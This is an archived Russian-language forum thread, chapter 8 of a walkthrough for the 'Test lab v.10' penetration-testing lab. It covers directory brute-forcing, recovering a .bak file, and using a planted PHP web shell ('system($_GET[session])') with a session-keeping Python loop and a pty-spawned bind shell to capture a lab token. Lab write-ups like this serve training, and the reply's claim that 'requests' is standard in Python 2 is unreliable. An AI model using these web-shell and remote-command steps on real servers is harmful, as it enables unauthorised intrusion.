PDA

Просмотр полной версии : Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (8)


<~DarkNode~>
05.01.2017, 20:42
Глава 8Предыдущая глава (https://forum.antichat.xyz/threads/558743/)
Следующая глава (https://forum.antichat.xyz/threads/558864/)
Оглавление

https://forum.antichat.xyz/attachments/4770706/img_30c7c82eff.png

Доброго времени суток колеги. Очередная статья к вашему вниманию об пентесте эмулированной корпоративной сети.Сегодня мы с вами снова затроним Web Application Pentesting.

Вспомним про поиск директорий и файлов на сайте через утилиту dirsearch

Найдем ошибки в конфигурации администратора веб приложения

Научимся выполнять удаленные команды на вебсервере через найденный встроенный веб шелл
Будем атаковать сегодня машину,которая на топологии сети обозначена какCaptcha(192.168.0.7)

https://forum.antichat.xyz/attachments/4770706/2017.png

Ну что же, давайте приступим.
Сперва как обычно пробросим порт:

SSH> -L 80:192.168.0.7:80

Откроем браузер,посмотрим что там у нас:

https://forum.antichat.xyz/attachments/4770706/2017.png

Похоже на какой то сервис по проверке капчи,только вот саму капчу не видно,видимо картинка не прогрузилась.
Давайте попытаемся обратится по пути картинки (правой кнопкой мышки - копировать путь картинки,и вставим в адресной строке)

https://forum.antichat.xyz/attachments/4770706/2017.png



примерно такая ссылка у нас:
http://127.0.0.1/sources/473e95ed33afad031b9ef4e66128496ce66b4645f850e91651 fdee05f1eaafccd6db3b927d55165bda6523a917a84c698875 513082117f7be857875bff89d4b03c2f52b2e29879ec58c905 46a5a3b5889f48c48f609ba907350d717c682177e8b2f0f1/captcha.png
Как видим ошибку сервера... Хмм.. Странно.. Давайте поищим директории и файлы утилитой DirSearch:

https://forum.antichat.xyz/attachments/4770706/2017.png

Как видим нашло два текстовых файла:
/readme.txt
/robots.txt

https://forum.antichat.xyz/attachments/4770706/2017.png

https://forum.antichat.xyz/attachments/4770706/2017.png

Смотрим их и видим что в файле robots.txt скрыто от индексирования поисковыми роботами файлы с расширением *.bak. В readme.txt пишут что бы не забыли поудалять все кешированые капчи.

Хм... Видимо бекапы какие то где то лежат и удаляются время от времени... Поискал на сервере возможные бекапы:
index.bak
index.php.bak
config.bak
config.php.bak
и т.д.
Но увы это не дало никаких результатов...

Затем вспоминаем нашу непонятную картинку и пробуем вместо .png указать разрешение .bak

https://forum.antichat.xyz/attachments/4770706/2017.png

Видим нам предлагает сохранить файл.Ну что ж сохраним и посмотрим что в нем:

https://forum.antichat.xyz/attachments/4770706/2017.png

Ухты) Получаем подсказку в виде кусочка кода на PHP:



КАПЧА сказал(а):



file_put_contents($session_path. /captcha, serialize($_SESSION)); - в случае обращения по $session_path/captcha - на вывод вернется сеарилизованый обьект масива $_SESSION

file_put_contents($session_path. /($_SESSION).php, ?php system($_GET[session]); ? -- а это уже вшитый веб шел

Давайте сначала глянем на сериализованый обьект $_SESSION:


a:1:{s:2:"id";s:198:"e3799776f4aa6ee753dd41b16c496f2166584b1c0749c7ae3d 656284a4d68361c23f4cbd11d034ee483d583650556a8117fb 7e68c73e6fce77bb16f0a9e16d5a710e1c8fb144ead4b8b147 9faa0252ea00134fd441e0a0893138489db02eee1805141a";}



https://forum.antichat.xyz/attachments/4770706/2017.png

Вот наш масив $_SESSIONс одним значением id:
https://forum.antichat.xyz/attachments/4770706/2017.png

Давайте попробуем заюзать вшитый веб шел:



DarkNode WebShell сказал(а):



http://127.0.0.1/sources/473e95ed33afad031b9ef4e66128496ce66b4645f850e91651 fdee05f1eaafccd6db3b927d55165bda6523a917a84c698875 513082117f7be857875bff89d4b03c2f52b2e29879ec58c905 46a5a3b5889f48c48f609ba907350d717c682177e8b2f0f1/($_SESSION).php?session=id




https://forum.antichat.xyz/attachments/4770706/2017.png

Но если мы попытаемся выполнить другую команду - то получим 500 ошибку от веб сервера,так как файлы удаляются спустя некоторое время а сессия умерает. Для того что бы придержать файлы на сервере я создам бесконечный цикл обращения по одной куки к главной странице,тогда файлы будут оставатся на месте.

Куки посмотреть можно прям в браузере,любым аддоном для кук браузера или же как я в инженерном меню браузера (в моем случае Firefox)

https://forum.antichat.xyz/attachments/4770706/2017.png

Далее мой любимий питон и простенький бесконечный цикл обращение с нашими куками:


https://forum.antichat.xyz/attachments/4770706/2017.png

Python:



#!/usr/bin/env python
import
requests

url
=
"http://127.0.0.1"
headers
=
{
"Cookie"
:
"PHPSESSID=sqs56fn6j5gl102l1e7g834280"
}
while
True
:
requests
.
get
(
url
,
headers
=
headers
)



После чего можно спокойно поднимать bind shell:

https://forum.antichat.xyz/attachments/4770706/2017.png

https://forum.antichat.xyz/attachments/4770706/2017.png

Забираем токен

Предыдущая глава (https://forum.antichat.xyz/threads/558743/)
Следующая глава (https://forum.antichat.xyz/threads/558864/)
Оглавление

Всем спасибо)

<~DarkNode~>
06.01.2017, 01:30
a113 сказал(а):

Спасибо за статью!Очень интересная! а requests это же не стандартная библиотека в python, так?


стандартная )

<~DarkNode~>
06.01.2017, 01:36
a113 сказал(а):

как ни прискорбно, но не стандартная

Traceback (most recent call last):
File "", line 1, in
import requests
ModuleNotFoundError: No module named 'requests'


Какая версия питона?
В 3-й вроде нету точно а во 2-й должно быть:

https://forum.antichat.xyz/attachments/4770721/img_59f0f64808.png

<~DarkNode~>
08.01.2017, 22:54
sdfsd сказал(а):

где-то ошибка?


Трудно сказать...
после команды python -c 'import pty;pty.spawn("/bin/bash")' - должно появится переменная среда баша.

<~DarkNode~>
10.01.2017, 18:39
Там если не держать сессию скриптом - выполняется только один запрос (первый). Потом вроде как сессия рвется и путь к файлу пропадает.На выходе получаем 500 ошибку сервера.

Сергей Попов
16.01.2017, 21:40
dobel сказал(а):

разве не "цикл"?


Для автора русский не родной язык. Корректора у нас нет. Нанимать не планируем.

<~DarkNode~>
16.01.2017, 22:17
dobel сказал(а):

разве не "цикл"?


Спасибо, поправил.

fdgdfgrgfgdf
10.04.2017, 16:02
Sinistra сказал(а):

Получил токен методом Мартинеза, через nc, но ручками конечно круче. На втором заходе обязательно попробую.


Можно пару ссылкой по методу? Впервые слышу о такой вещи.